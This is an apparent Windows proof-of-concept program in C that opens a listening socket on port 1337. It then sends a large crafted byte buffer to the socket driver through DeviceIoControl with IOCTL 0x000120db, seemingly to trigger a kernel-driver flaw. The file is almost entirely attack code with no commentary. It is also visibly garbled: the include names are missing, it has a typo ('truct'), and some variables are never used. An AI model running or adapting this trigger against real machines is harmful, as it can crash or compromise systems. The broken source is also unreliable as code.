#define _CRT_SECURE_NO_WARNINGS #define _WINSOCK_DEPRECATED_NO_WARNINGS #define WIN32_LEAN_AND_MEAN #include #include #include #include #include #include #pragma comment (lib, "Ws2_32.lib") #pragma comment (lib, "Kernel32.lib") int main() { truct addrinfo* ressrc = NULL, * resdest = NULL, * resbind = NULL;/*RAW*/ WSADATA wsaData; int iResult = WSAStartup(MAKEWORD(2, 2), &wsaData); if (iResult != 0) { printf("WSAStartup failed with error: %d\n", iResult); return 1; } struct addrinfo hints; ZeroMemory(&hints, sizeof(hints)); hints.ai_family = AF_INET; hints.ai_socktype = SOCK_STREAM; hints.ai_protocol = 0; hints.ai_flags = AI_PASSIVE; struct addrinfo* result = NULL; iResult = getaddrinfo(NULL, "1337", &hints, &result); if (iResult != 0) { printf("getaddrinfo failed with error: %d\n", iResult); WSACleanup(); return 1; } SOCKET ListenSocket = socket(result->ai_family, result->ai_socktype, result->ai_protocol); if (ListenSocket == INVALID_SOCKET) { printf("socket failed with error: %ld\n", WSAGetLastError()); freeaddrinfo(result); WSACleanup(); return 1; } DWORD BytesReturned = 0; BOOL Status = 0; size_t Size = 0; BYTE InputBuffer[] = "\x03\x07\x21\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x07\x21" "\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x20\x05\x00\x00\x00\x00" "\x00\x00\x02\x00\x01\xbb\x0d\x6b\x2a\x10\x00\x00\x00\x00\x00\x00\x00\x00\x6b\x2a" "\x10\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x02\x00\x01\xbb\x0d" "\x6b\x2a\x10\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x70\x16\xad\x95\xff" "\x01\x00\x00\xff\xff\xff\xff\xff\xff\xff\x02\x00\x01\xbb\x0d\x6b\x2a\x09\xde\x98" "\x77\x10\x00\x00\x00\x00\x00\x00\x00\x29\x40\x00\x00\x00\xbb\x0d\x6b\x2a\x10\x00" "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x07\x21\x01\x00\x00\x00\x00\x00\x00" "\x00\x00\x00\x00\x00\x00\x00\x20\x05\x00\x00\x00\x00\x00\x07\x21\x01\x00\x00\x07" "\x21\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x20\x05\x00\x00\x00" "\x00\x00\x00\x02\x00\x01\xbb\x0d\x6b\x2a\x10\x00\x00\x00\x00\x00\x00\x00\x00\x00" "\x00\x20\x05\x00\x00\x00\x00\x00\x00\x02\x00\x01\xbb\x0d\x6b\x2a\x10\x00\x00\x00" "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x07\x21\x01\x00" "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x20\x00\x00\x00\x00\x00\x00\x00" "\x02\x00\x01\xbb\x0d\x6b\x2a\x07\x21\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" "\x00\x00\x00\x00\x00\x00\x20\x05\x00\x00\x00\x00\x00\x00\x02\x00\x01\xbb\x0d\x6b" "\x2a\x10\x00\x00\x00\x00\x00\x0d\x6b\x2a\x10\x00\x07\x21\x01\x00\x00\x00\x00\x00" "\x00\x00\x00\x00\x00\x00\x00\x00\x20\x05\x00\x00\x00\x00\x00\x00\x02\x00\x01\xbb" "\x0d\x6b\x2a\x10\x00\x00\x00\x00\x00\x07\x21\x01\x00\x00\x00\x00\x00\x00\x00\x00" "\x00\x00\x00\x00\x00\x20\x05\x00\x00\x00\x00\x00\x00\x02\x00\x01\xbb\x0d\x6b\x2a" "\x10\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x07\x21\x01\x00\x00\x00\x00" "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x20\x05\x00\x00\x00\x00\x00\x00\x02\x00\x01" "\xbb\x0d\x6b\x2a\x10\x00\x00\x00\x00\x00\x00\x00\x00\x07\x21\x01\x00\x00\x00\x00" "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x02\x00\x01\xbb\x0d\x6b" "\x2a\x00\x00\x00\x02\x00\x01\xbb\x0d\x6b\x2a\x10\x00\x00\x01\x00\xff\xff\xff\xff" "\xff\xff\xff\xff\xff\xff\x00\x00\x00\x00\x20\x05\x00\x01"; Status = DeviceIoControl( (HANDLE)ListenSocket, 0x000120db, InputBuffer, sizeof(InputBuffer), InputBuffer, sizeof(InputBuffer), &BytesReturned, NULL); return 0; }